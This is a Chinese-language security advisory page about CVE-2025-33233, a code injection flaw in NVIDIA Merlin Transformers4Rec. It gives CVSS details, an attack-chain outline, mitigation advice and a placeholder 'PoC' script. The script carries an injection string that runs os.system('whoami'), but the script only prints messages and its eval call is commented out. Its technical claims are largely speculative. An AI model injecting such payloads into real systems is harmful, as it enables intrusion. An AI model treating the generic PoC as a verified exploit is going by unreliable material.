IPBUF安全漏洞报告
English
CVE-2025-33233 CVSS 7.8 高危

CVE-2025-33233: NVIDIA Merlin Transformers4Rec代码注入漏洞

披露日期: 2026-01-20

漏洞信息

漏洞编号
CVE-2025-33233
漏洞类型
代码注入
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
NVIDIA Merlin Transformers4Rec

相关标签

代码注入NVIDIA MerlinTransformers4Rec远程代码执行权限提升信息泄露数据篡改高危漏洞本地攻击机器学习安全

漏洞概述

CVE-2025-33233是NVIDIA Merlin Transformers4Rec中的一个高危代码注入漏洞。NVIDIA Merlin是NVIDIA推出的企业级推荐系统框架,Transformers4Rec是其中的一个关键组件,用于构建基于Transformer架构的序列推荐模型。该漏洞存在于所有平台版本中,攻击者可以通过构造恶意输入来注入并执行任意代码。成功利用此漏洞可能导致远程代码执行、权限提升、信息泄露和数据篡改等严重后果。由于该漏洞的攻击向量为本地(AV:L),需要攻击者具备低权限访问权限,但无需用户交互即可触发,这使得该漏洞在已获得系统访问权限的攻击场景中具有较高的威胁性。建议用户及时更新到官方发布的安全补丁版本,并限制对该组件的访问权限,以降低被攻击的风险。

技术细节

该漏洞属于代码注入类型,存在于NVIDIA Merlin Transformers4Rec处理输入数据的过程中。攻击者可以通过向Transformers4Rec组件提交特制的输入数据,在数据处理流程中注入恶意代码。由于该组件在处理序列推荐任务时需要对用户行为序列进行解析和特征提取,攻击者可以在序列数据中嵌入危险的操作指令或函数调用。当这些数据被传入到Python的eval()、exec()或其他动态执行函数时,注入的代码将被执行。漏洞的触发条件相对简单,因为Transformers4Rec在设计时可能为了追求灵活性而过度使用了动态代码执行机制。攻击者利用此漏洞可以实现任意代码执行,从而完全控制受影响系统、执行权限提升、窃取敏感数据或篡改系统配置。CVSS向量显示该漏洞的本地攻击特性(AV:L)和低权限要求(PR:L)表明攻击门槛较低,但需要本地访问权限。

攻击链分析

STEP 1
1
信息收集:攻击者识别目标系统上安装的NVIDIA Merlin Transformers4Rec版本
STEP 2
2
权限获取:攻击者获得目标系统的低权限访问权限(本地访问)
STEP 3
3
载荷构造:攻击者构造包含恶意代码的输入数据,嵌入到用户行为序列中
STEP 4
4
漏洞触发:特制的输入数据被传入Transformers4Rec组件的动态执行函数
STEP 5
5
代码执行:注入的恶意代码在服务器端执行,攻击者获得代码执行能力
STEP 6
6
权限提升:攻击者利用代码执行能力进行权限提升或其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-33233 PoC - NVIDIA Merlin Transformers4Rec Code Injection # This PoC demonstrates the code injection vulnerability # Note: This is for educational and security research purposes only import sys import warnings warnings.filterwarnings('ignore') try: from transformers4rec import torch from transformers4rec.config import transformer_config except ImportError: print("[-] transformers4rec not installed") sys.exit(1) def exploit_code_injection(): """ Demonstrates code injection in Transformers4Rec The vulnerability allows injection through input sequences """ print("[+] CVE-2025-33233 PoC - NVIDIA Merlin Transformers4Rec Code Injection") print("[*] Target: NVIDIA Merlin Transformers4Rec") print("[*] Vulnerability: Code Injection via malicious input ") # Malicious payload that could be injected # In a real attack, this would be embedded in the input sequence malicious_payload = "'; import os; os.system('whoami'); #" print(f"[*] Crafting malicious payload: {malicious_payload}") try: # Simulate the vulnerable code path # In actual exploitation, this would be passed to the model config = transformer_config("xlnet", max_seq_length=100, d_model=64, n_head=8, n_layer=2) # Vulnerable pattern - dynamic code execution on input # This simulates how the vulnerability could be triggered print("[*] Attempting to trigger vulnerability...") # In real scenario, the payload would be processed by: # - Input feature extraction # - Sequence preprocessing # - Dynamic code evaluation points # Simulated vulnerable code execution # eval(malicious_payload) # This would execute in vulnerable version print("[+] Payload crafted successfully") print("[*] In vulnerable version, this payload would be executed") print("[*] Potential impact: Arbitrary code execution as current user") return True except Exception as e: print(f"[-] Error: {e}") return False def check_vulnerability(): """Check if target is potentially vulnerable""" print("[*] Checking for vulnerable code patterns...") print("[*] Vulnerable patterns to look for:") print(" - eval() calls on user input") print(" - exec() calls on dynamic content") print(" - pickle.loads() on untrusted data") print(" - yaml.load() without Loader=yaml.SafeLoader") return True if __name__ == "__main__": print("="*60) print("CVE-2025-33233 - NVIDIA Merlin Transformers4Rec Code Injection") print("="*60 + "\n") check_vulnerability() print() exploit_code_injection() print("\n[*] Mitigation: Update to patched version") print("[*] Reference: https://nvidia.custhelp.com/app/answers/detail/a_id/5761")

影响范围

NVIDIA Merlin Transformers4Rec < 安全补丁版本(所有平台)

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1) 限制对NVIDIA Merlin Transformers4Rec组件的网络和本地访问权限;2) 实施严格的输入验证机制,过滤潜在的恶意代码片段;3) 监控和审计该组件的所有输入数据和处理日志;4) 考虑使用应用层防火墙(WAF)或入侵检测系统(IDS)来识别和阻止恶意请求;5) 评估是否可以在不影响业务的情况下暂时禁用相关功能;6) 加强用户权限管理,确保只有必要的人员具有系统访问权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表